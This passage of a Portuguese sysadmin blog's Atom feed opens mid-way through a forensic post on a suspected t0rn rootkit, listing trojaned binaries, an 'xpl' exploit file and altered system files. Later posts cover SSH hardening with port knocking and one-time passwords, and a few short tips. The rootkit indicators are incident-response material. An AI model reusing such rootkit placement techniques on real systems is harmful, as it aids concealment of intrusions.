style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;-rwxr-xr-x 1 root root 65292 2009-05-27 15:30 ps &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;-rwxr-xr-x 1 root root 14060 2009-05-27 15:30 pstree &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;-rwxr-sr-x 1 root root 31308 2009-05-27 15:30 slocate &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;-rwxr-xr-x 1 root root 49636 2009-05-27 15:30 top &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;-rwxr-xr-x 1 root root 65292 2009-05-27 15:30 ./usr/lib/libsh/.backup/ps &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;-rwxr-xr-x 1 root root 49636 2009-05-27 15:30 ./usr/lib/libsh/.backup/top &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;-rwxr-xr-x 1 root root 58380 2009-05-27 15:30 ./usr/lib/libsh/.backup/ifconfig &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;-rwxr-xr-x 1 root root 98188 2009-05-27 15:30 ./usr/lib/libsh/.backup/netstat &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;-rwxr-xr-x 1 root root 22116 2009-05-27 15:30 ./usr/lib/libsh/.backup/md5sum &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;-rwxr-xr-x 1 root root 75748 2009-05-27 15:30 ./usr/lib/libsh/.backup/find &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;-rwxr-xr-x 1 root root 77352 2009-05-27 15:30 ./usr/lib/libsh/.backup/ls &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;-rwxr-sr-x 1 root root 31308 2009-05-27 15:30 ./usr/lib/libsh/.backup/slocate &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;-rwxr-xr-x 1 root root 14060 2009-05-27 15:30 ./usr/lib/libsh/.backup/pstree &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;lrwxrwxrwx  1 root root      20 2009-05-27 15:30 libncurses.so.4 -&gt; /lib/libncurses.so.5 &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;drwxr-xr-x  2 root root    4096 2009-05-27 15:30 libsh.so &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;lrwxrwxrwx 1 root root 20 2009-05-27 15:30 ./lib/libncurses.so.4 -&gt; /lib/libncurses.so.5 &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;-rwxr-xr-x 1 root root 677184 2009-05-27 15:30 bash &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;-rw-r--r-- 1 root  114    478 2009-05-27 15:30 shdcf &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;-rwxr-xr-x 1 root root 677184 2009-05-27 15:30 ./lib/libsh.so/bash &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;-rw-r--r-- 1 root 114 478 2009-05-27 15:30 ./lib/libsh.so/shdcf &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;-rw-r--r-- 1 1003 1003  24748 2009-05-27 15:23 2007.tgz &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;drwxr-xr-x 7  507  507  12288 2009-05-27 15:30 of &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;-rwxr-xr-x 1 1003 1003   8509 2009-05-27 15:24 xpl &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(255, 0, 0); font-weight: bold;"&gt;-rw------- 1 1003 1003 448 2009-05-27 15:32 ./home/zabbix/.bash_history &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(255, 0, 0); font-weight: bold;"&gt;-rwxr-xr-x 1 1003 1003 8509 2009-05-27 15:24 ./home/zabbix/xpl &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(255, 0, 0); font-weight: bold;"&gt;-rw-r--r-- 1 1003 1003 24748 2009-05-27 15:23 ./home/zabbix/2007.tgz &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;-rw-r----- 1 root root 0 2009-05-27 15:26 ./var/lib/dpkg/lock &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;-rw-r--r-- 1 www-data www-data   2229 2009-05-27 15:43 7b6767c5dca52161e021bc954faeab5d &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;-rw-r--r-- 1 www-data www-data   2347 2009-05-27 15:08 ba1386c0067dd751785dde2403b32755 &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;-rw-r--r-- 1 www-data www-data 2229 2009-05-27 15:43 ./var/www/streber/_tmp/7b6767c5dca52161e021bc954faeab5d &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;-rw-r--r-- 1 www-data www-data 2347 2009-05-27 15:08 ./var/www/streber/_tmp/ba1386c0067dd751785dde2403b32755 &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;-rw-r--r--  1 root     root       1354 2009-05-27 15:30 inetd.conf &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;-rw-r--r--  1 root     root      25292 2009-05-27 15:30 ld.so.cache &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;-rw-------  1 root     root       1666 2009-05-27 15:19 shadow- &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;-rw------- 1 root root 1666 2009-05-27 15:19 ./etc/shadow- &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;-rw-r--r-- 1 root root 25292 2009-05-27 15:30 ./etc/ld.so.cache &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; color: rgb(153, 102, 51);"&gt;-rw-r--r-- 1 root root 1354 2009-05-27 15:30 ./etc/inetd.conf &lt;/p&gt;   &lt;p class="western" style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="western" style="margin-bottom: 0cm;"&gt;Coisas estranhas no home do usuário Zabbix ...&lt;br /&gt;&lt;/p&gt;  &lt;p class="western" style="margin-bottom: 0cm;"&gt;Uma simples busca no google  por &lt;span style="font-weight: bold;"&gt;”Zabbix + Vulnerability“&lt;/span&gt;&lt;/p&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;p class="western" style="margin-bottom: 0cm;"&gt; &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;"&gt;http://www.google.com.br/search?hl=pt-BR&amp;amp;client=firefox-a&amp;amp;rls=com.ubuntu%3Apt-BR%3Aunofficial&amp;amp;hs=9cR&amp;amp;q=zabbix+vulnerability&amp;amp;btnG=Pesquisar&amp;amp;meta= &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;"&gt; &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="western" style="margin-bottom: 0cm;"&gt;E ... ???  &lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; font-weight: bold; color: rgb(255, 102, 0);"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; font-weight: bold; color: rgb(255, 0, 0);"&gt;&lt;em&gt;Zabbix&lt;/em&gt; Privilege Escalation &lt;em&gt;Vulnerability&lt;/em&gt;&lt;/p&gt;  &lt;p class="western" style="margin-bottom: 0cm; font-weight: bold; color: rgb(255, 0, 0);"&gt;Some &lt;em&gt;vulnerabilities&lt;/em&gt; have been reported in the &lt;em&gt;ZABBIX&lt;/em&gt; PHP frontend&lt;/p&gt;&lt;p class="western" style="margin-bottom: 0cm; font-weight: bold; color: rgb(255, 0, 0);"&gt;Multiple &lt;em&gt;Vulnerabilities&lt;/em&gt; in &lt;em&gt;Zabbix&lt;/em&gt; Frontend&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; font-weight: bold;"&gt;Zabbix o culpado :)  &lt;/p&gt;&lt;p class="western" style="margin-bottom: 0cm; font-weight: bold;"&gt;&lt;/p&gt;&lt;p class="western" style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="western" style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0cm; font-weight: bold;"&gt;* Creditos&lt;/p&gt;&lt;p class="western" style="margin-bottom: 0cm; font-weight: bold;"&gt;Elias Andrade (esan_br) - &lt;span style="font-weight: normal;"&gt;Execução do rootkit no servidor comprimetido&lt;span style="font-weight: bold;"&gt; ;-)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt; &lt;p class="western" style="margin-bottom: 0cm;"&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21488912-3033170230127824612?l=lucianoborguetti.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://lucianoborguetti.blogspot.com/feeds/3033170230127824612/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=21488912&amp;postID=3033170230127824612' title='14 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21488912/posts/default/3033170230127824612'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21488912/posts/default/3033170230127824612'/><link rel='alternate' type='text/html' href='http://lucianoborguetti.blogspot.com/2009/06/possible-t0rn-v8-or-variation-rootkit.html' title='Possible t0rn v8 \(or variation\) rootkit installed'/><author><name>Luciano Borguetti</name><uri>http://www.blogger.com/profile/04576149700913922281</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://4.bp.blogspot.com/_ciWM3D1tQfU/Sx2oSxF5wmI/AAAAAAAAAFE/GhgZBVgrbM0/S220/evil-penguin.jpg'/></author><thr:total>14</thr:total></entry><entry><id>tag:blogger.com,1999:blog-21488912.post-8030027258345269120</id><published>2009-05-31T16:40:00.001-03:00</published><updated>2009-05-31T16:43:39.714-03:00</updated><title type='text'>Meu Desktop</title><content type='html'>Ferramenta de trabalho!!!&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_ciWM3D1tQfU/SiLdkA58JSI/AAAAAAAAAD8/G9J14Qq6sAc/s1600-h/mac-linux-osx3.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 200px;" src="http://1.bp.blogspot.com/_ciWM3D1tQfU/SiLdkA58JSI/AAAAAAAAAD8/G9J14Qq6sAc/s320/mac-linux-osx3.png" alt="" id="BLOGGER_PHOTO_ID_5342075718802875682" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21488912-8030027258345269120?l=lucianoborguetti.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://lucianoborguetti.blogspot.com/feeds/8030027258345269120/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=21488912&amp;postID=8030027258345269120' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21488912/posts/default/8030027258345269120'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21488912/posts/default/8030027258345269120'/><link rel='alternate' type='text/html' href='http://lucianoborguetti.blogspot.com/2009/05/meu-desktop.html' title='Meu Desktop'/><author><name>Luciano Borguetti</name><uri>http://www.blogger.com/profile/04576149700913922281</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://4.bp.blogspot.com/_ciWM3D1tQfU/Sx2oSxF5wmI/AAAAAAAAAFE/GhgZBVgrbM0/S220/evil-penguin.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_ciWM3D1tQfU/SiLdkA58JSI/AAAAAAAAAD8/G9J14Qq6sAc/s72-c/mac-linux-osx3.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-21488912.post-9106999109516263517</id><published>2009-05-18T01:34:00.013-03:00</published><updated>2009-05-18T14:18:02.264-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Unix-Like'/><title type='text'>Aumentando a segurança para autenticação ssh em sistemas GNU/Linux</title><content type='html'>Bom aqui vai uma dica para aumentar a segurança para autenticação ssh no seu sistema GNU/Linux usando Port Knocking e &lt;a href="http://en.wikipedia.org/wiki/One-time_password"&gt;One Time Password&lt;/a&gt;.&lt;br /&gt;Para fazer o Port Knocking vamos utilizar Netfilter/Iptables com o módulo Recent e para o One Time Password o módulo do Pam chamado opie.&lt;br /&gt;&lt;br /&gt;Pode parecer um pouco de paranóia, mais segurança nunca é de mais :P&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;* Port Knocking usando Netfilter/Iptables.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Como funciona?&lt;br /&gt;&lt;br /&gt;A idéia aqui é manter a porta do ssh bloqueada, só liberar o acesso para o host que fazer uma conexão em outra porta do sistema e também deixar essa conexão liberada por somente alguns segundos.&lt;br /&gt;&lt;br /&gt;Assumindo que a porta do ssh é a padrão (22) e que a porta que vamos usar para fazer a liberação do acesso é a porta &lt;span style="font-weight: bold;"&gt;25128&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Para conseguir acesso ao ssh:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;usuario@bob-esponja:~&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;$ &lt;/span&gt;&lt;span style="font-weight: bold;"&gt;ssh usuario@IP_DO_SERVIDOR -p 25128&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;ou&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;usuario@bob-esponja:~&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;$ &lt;/span&gt;&lt;span style="font-weight: bold;"&gt;telnet IP_DO_SERVIDOR 25128&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Agora sim, faz-se a conexão normalmente&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;usuario@bob-esponja:~$ ssh usuario@IP_DO_SERVIDOR&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Abaixo segue como fazer o Port Knocking utilizando Netfilter/Iptables usando o módulo Recent.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;usuario@bob-esponja:~&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;# externa=eth0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;usuario@bob-esponja:~&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;# portknock=25128&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;usuario@bob-esponja:~&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;# iptables -t mangle -A PREROUTING -p tcp --dport $portknock -m state --state NEW -m recent --name SSH --set&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;usuario@bob-esponja:~&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;# iptables -t filter -A INPUT -p tcp --dport 22 -m recent --name SSH --rcheck --seconds 10 -j ACCEPT&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;usuario@bob-esponja:~&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;# iptables -t filter -A INPUT -i $externa -p tcp --dport 22 -m state --state NEW -j REJECT&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;Obs: Após a liberação o acesso ao ssh só é permitido para o host que fez a conexão na porta 25128 por 10 segundos.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;* One Time Password&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Com o OTP vamos utilizar uma "contra senha" antes de solicitar a senha do seu usuário.&lt;br /&gt;E essa "contra senha" será utilizada apenas uma única vez, após a utilização ela pode ser descartada, pois não será mais solicitada.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Utilizando Debian/Ubuntu&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;usuario@bob-esponja:~&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;# aptitude install opie-server libpam-opie&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Configuração&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;usuario@bob-esponja:~# vi /etc/pam.d/sshd&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Acima de&lt;br /&gt;&lt;br /&gt;-------&lt;br /&gt;# Standard Un*x authentication.&lt;br /&gt;@include common-auth&lt;br /&gt;-------&lt;br /&gt;&lt;br /&gt;Adicione:&lt;br /&gt;&lt;br /&gt;---------- recorte -----------&lt;br /&gt;# One Time Password&lt;br /&gt;auth       required     pam_opie.so&lt;br /&gt;---------- recorte -----------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Agora edite o arquivo /etc/ssh/sshd_config&lt;br /&gt;&lt;br /&gt;"ChallengeResponseAuthentication" deve ser configurado para "yes"&lt;br /&gt;&lt;br /&gt;-------&lt;br /&gt;# Change to yes to enable challenge-response passwords (beware issues with&lt;br /&gt;# some PAM modules and threads)&lt;br /&gt;ChallengeResponseAuthentication yes&lt;br /&gt;-------&lt;br /&gt;&lt;br /&gt;Reinicie o ssh&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;usuario@bob-esponja:~&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;# /etc/init.d/ssh restart&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Precisamos adicionar nosso usuário na base de dados do Opie, para permitir o  uso do One Time Password para esse usuário&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;usuario@bob-esponja:~&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;# opiepasswd -c usuario -s usuario&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Por padrão a sequencia de senhas terão inicio em 499.&lt;br /&gt;&lt;br /&gt;Será solicitada uma "pass phrase" que será utilizada para a criação das senhas OTP&lt;br /&gt;&lt;br /&gt;Após adicionar o usuário no Opie, vamos criar algumas senhas.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;# opiekey -n 10 -x 499 usuario&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;A saída do comando será algo como:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;usuario@bob-esponja:~$ opiekey -n 10 -x 499 usuario&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Using the MD5 algorithm to compute response.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Reminder: Don't use opiekey from telnet or dial-in sessions.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Enter secret pass phrase: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;490: 19FD 71FE CFEF EE93&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;491: C9C2 A929 FD38 341F&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;492: 3427 12CA 2188 557E&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;493: D513 2B4D B38E A262&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;494: 8BCB 1EAA B4AD B3F7&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;495: C008 E161 B4DB 5EF1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;496: 9FEA 5A93 8025 06F6&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;497: 4F8F 17AE 0616 BE07&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;498: 5F1E BF3B 2BA1 92B4&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;499: 6104 DDE3 3BE4 E9BE&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Pronto, agora já da pra fazer os testes com o OTP&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;Obs: A parte legal aqui é que pode ser gerada somente a senha solicitada na hora da autenticação. Também existem programas para criação das senhas que rodam em smartphones/palm's.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;usuario@bob-esponja:~$ ssh localhost&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;otp-md5 497 usuario ext, Response:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Após entrar-mos com a senha solicitada (497), &lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;usuario@bob-esponja:~$ ssh localhost&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt; otp-md5 497 usuario ext, Response: &lt;span style="color: rgb(255, 0, 0);"&gt;4F8F 17AE 0616 BE07&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Será solicitada a senha do usuário realmente&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;usuario@bob-esponja:~$ ssh localhost&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;otp-md5 497 usuario ext, Response:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Password:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;Obs: Caso a senha OTP não for a correta (ou mesmo em branco), será solicitado a senha do usuário, porém como no pam está configurado requirindo a autenticação OTP, a autenticação da senha do usuário não vai funcionar.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bom agora é só testar tudo, temos ai Port Knocking + OTP (usando como contra senha).&lt;br /&gt;&lt;br /&gt;Avaliando o que temos de segurança, agora para um atacante conseguir acesso ao nosso servidor por ssh ele precisa:&lt;br /&gt;&lt;br /&gt;1° - Descobrir a porta do Port Knocking;&lt;br /&gt;2°- Descobrir a porta do ssh, caso não seja a padrão (é interessente deixar a porta do ssh e a usada para o Port Knocking bem dispares);&lt;br /&gt;3° - A contra senha;&lt;br /&gt;4° - A senha do usuário.&lt;br /&gt;&lt;br /&gt;:P&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21488912-9106999109516263517?l=lucianoborguetti.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://lucianoborguetti.blogspot.com/feeds/9106999109516263517/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=21488912&amp;postID=9106999109516263517' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21488912/posts/default/9106999109516263517'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21488912/posts/default/9106999109516263517'/><link rel='alternate' type='text/html' href='http://lucianoborguetti.blogspot.com/2009/05/aumentando-seguranca-para-autenticacao.html' title='Aumentando a segurança para autenticação ssh em sistemas GNU/Linux'/><author><name>Luciano Borguetti</name><uri>http://www.blogger.com/profile/04576149700913922281</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://4.bp.blogspot.com/_ciWM3D1tQfU/Sx2oSxF5wmI/AAAAAAAAAFE/GhgZBVgrbM0/S220/evil-penguin.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-21488912.post-9195143159414442410</id><published>2009-03-24T09:50:00.001-03:00</published><updated>2009-03-24T09:55:21.516-03:00</updated><title type='text'>Uso da memória no FreeBSD</title><content type='html'>Uma boa alternativa ao &lt;a target="_blank" href="http://www.linfo.org/free.html"&gt;free&lt;/a&gt; no FreeBSD é o comando &lt;b&gt;&lt;i&gt;muse&lt;/i&gt;&lt;/b&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21488912-9195143159414442410?l=lucianoborguetti.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://lucianoborguetti.blogspot.com/feeds/9195143159414442410/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=21488912&amp;postID=9195143159414442410' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21488912/posts/default/9195143159414442410'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21488912/posts/default/9195143159414442410'/><link rel='alternate' type='text/html' href='http://lucianoborguetti.blogspot.com/2009/03/uso-da-memoria-no-freebsd.html' title='Uso da memória no FreeBSD'/><author><name>Luciano Borguetti</name><uri>http://www.blogger.com/profile/04576149700913922281</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://4.bp.blogspot.com/_ciWM3D1tQfU/Sx2oSxF5wmI/AAAAAAAAAFE/GhgZBVgrbM0/S220/evil-penguin.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-21488912.post-1640478648821655867</id><published>2009-03-05T10:53:00.000-03:00</published><updated>2009-03-05T10:55:33.759-03:00</updated><title type='text'>Teste de performance de rede</title><content type='html'>http://sourceforge.net/projects/iperf&lt;br /&gt;&lt;br /&gt;http://www.dicas-l.com.br/dicas-l/20050404.php&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21488912-1640478648821655867?l=lucianoborguetti.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://lucianoborguetti.blogspot.com/feeds/1640478648821655867/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=21488912&amp;postID=1640478648821655867' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21488912/posts/default/1640478648821655867'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21488912/posts/default/1640478648821655867'/><link rel='alternate' type='text/html' href='http://lucianoborguetti.blogspot.com/2009/03/teste-de-performance-de-rede.html' title='Teste de performance de rede'/><author><name>Luciano Borguetti</name><uri>http://www.blogger.com/profile/04576149700913922281</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://4.bp.blogspot.com/_ciWM3D1tQfU/Sx2oSxF5wmI/AAAAAAAAAFE/GhgZBVgrbM0/S220/evil-penguin.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-21488912.post-5050846517676933585</id><published>2009-01-08T17:15:00.003-02:00</published><updated>2010-07-19T16:43:36.536-03:00</updated><title type='text'>Gravação de chamadas Asterisk - WAV x Espaço em Disco</title><content type='html'>&lt;span style="font-family:AquaBase;"&gt;Dica de espaço em disco para gravação no formato .wav no asterisk.&lt;br /&gt;&lt;br /&gt;Para cada minuto de gravação no asterisk é usado 1M de espaço em disco.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21488912-5050846517676933585?l=lucianoborguetti.blogspot.com' 